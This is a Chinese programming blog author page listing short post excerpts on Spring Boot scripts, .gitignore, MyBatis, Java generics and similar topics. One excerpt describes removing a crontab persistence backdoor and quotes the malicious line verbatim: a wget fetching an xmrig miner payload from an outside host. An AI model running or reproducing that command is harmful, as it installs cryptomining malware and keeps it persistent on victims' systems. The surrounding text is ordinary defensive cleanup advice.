
常见问题
黄都伟
这个作者很懒,什么都没留下…
展开
-
springboot jar包启动脚本
1.新建start.sh文件2.编辑内容为 #!/bin/sh#这里可替换为你自己的执行程序,其他代码无需更改APP_NAME=protocol.jar#使用说明,用来提示输入参数usage() { echo "Usage: sh demo.sh [start|stop|restart|status]" exit 1}#检查程序是否在运行is_exist() { pid=`ps -ef | grep $APP_NAME | g...原创 2021-07-27 10:06:28 · 523 阅读 · 0 评论 -
利用fastjson打印对象日志
log.info("unclosedOrders:" + com.alibaba.fastjson.JSONObject.toJSONString(unclosedOrders));原创 2021-07-27 08:38:56 · 718 阅读 · 0 评论 -
idea使用git管理忽略某些文件
1. 在项目下新建.gitignore文件2.编辑文件内容为*.log*.zipHELP.mdtarget/!.mvn/wrapper/maven-wrapper.jar!**/src/main/**/target/!**/src/test/**/target/### STS ###.apt_generated.classpath.factorypath.project.settings.springBeans.sts4-cache### IntelliJ IDE原创 2021-07-24 10:06:44 · 360 阅读 · 0 评论 -
持久化后门crontab
服务器遇到了挖矿程序,wget --quiet http://m247.ltd:36663/.xmrig/0 -O-crontab计划任务导致了该告警的产生。crontab是Linux操作系统中常用的计划任务服务,黑客或恶意程序常常会通过添加修改cron任务使恶意程序定时重复启动,保持驻留。1.vim /etc/crontab 找到这条命令删除并保存。2.使用crontab -l 查看,crontab -e进入编辑页面,输入dd,删除, :wq!保存退出...原创 2021-07-06 14:09:11 · 879 阅读 · 0 评论 -
httpClient实现传输文件流服务端接受
package user;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import javax.servlet.http.HttpServletRequest;import org.apache.commons.httpclient.HttpClient;i.原创 2021-03-20 15:11:52 · 2489 阅读 · 0 评论 -
Mybati 批量插入报ORA-00933: SQL 命令未正确结束
最近做一个批量导入的需求,将多条记录批量插入数据库中。解决思路:在程序中封装一个List集合对象,然后把该集合中的实体插入到数据库中,因为项目使用了MyBatis,所以打算使用MyBatis的foreach功能进行批量插入。期间遇到了“SQL 命令未正确结束 ”的错误,最终解决,记录下来供以后查阅和学习。 首先,在网上参考了有关Mybatis的foreach insert的资料,...转载 2018-07-28 17:11:13 · 9630 阅读 · 4 评论 -
Java泛型中E,T,K,V,N
Java泛型中的标记符含义: E - Element (在集合中使用,因为集合中存放的是元素) T - Type(Java 类) K - Key(键) V - Value(值) N - Number(数值类型)? - 表示不确定的java类型 S、U、V - 2nd、3rd、4th typesObje转载 2017-09-26 17:02:31 · 347 阅读 · 0 评论 -
Linux解决java.security.InvalidKeyException: Illegal key size or default parameters
Linux解决java.security.InvalidKeyException: Illegal key size or default parameters原创 2017-08-07 17:23:36 · 3526 阅读 · 0 评论 -
tomcat容器log4j日志打印 到前一天解决办法
为了把域名指向默认的应用(MyApp),所以在conf/server.xml文件配置了一个Context,但是MyApp又是放在webapps路径下,导致MyApp实例了两次,所以log4j也实例了两次,使日志文件产生了混乱。我把MyApp移除webapps后日志服务就正常了转载 2017-07-06 09:55:15 · 2916 阅读 · 0 评论 -
myeclipse项目转到eclipse上
原创 2017-02-25 16:58:39 · 387 阅读 · 0 评论 -
DateUtil工具类获取n天时使用Calendar错误
/**根据输入的日期A和天数B,计算出B天后的日期C*/ public static String getLateDate(String sDate,int iDays) { String sLateDate = ""; Calendar calendar = Calendar.getInstance(); try { String time原创 2017-02-04 09:16:32 · 389 阅读 · 0 评论 -
centos开机启动svn
centos开机自动启动SVN服务的方法1、编辑rc.local文件 vi /etc/rc.d/rc.local2、加入如下启动命令 /usr/bin/svnserve -d -r /home/svn原创 2017-03-02 17:50:34 · 517 阅读 · 0 评论 -
springMvc Model
// 查询我的熟车 @RequestMapping("/myKnowCars") public String myAuthenticationVehicles(Model m,HttpSession session, JspPaginator jspPaginator) { UserInfo user = SessionUserHelper.getUserInfo(session);转载 2017-02-20 18:39:10 · 353 阅读 · 0 评论 -
for循环删除(ArrayList.remove)及改进方法及对象在内存中的理解
小菜们肯定写过这样的代码:[java] view plain copyfor(List list:lists){ //判断,如果成立删除 if(true){lists.remove(list);} } 这种错误很明显,如果for循环的时候是不允许删除这个list对象的。这个相必大转载 2017-01-09 11:02:17 · 2273 阅读 · 0 评论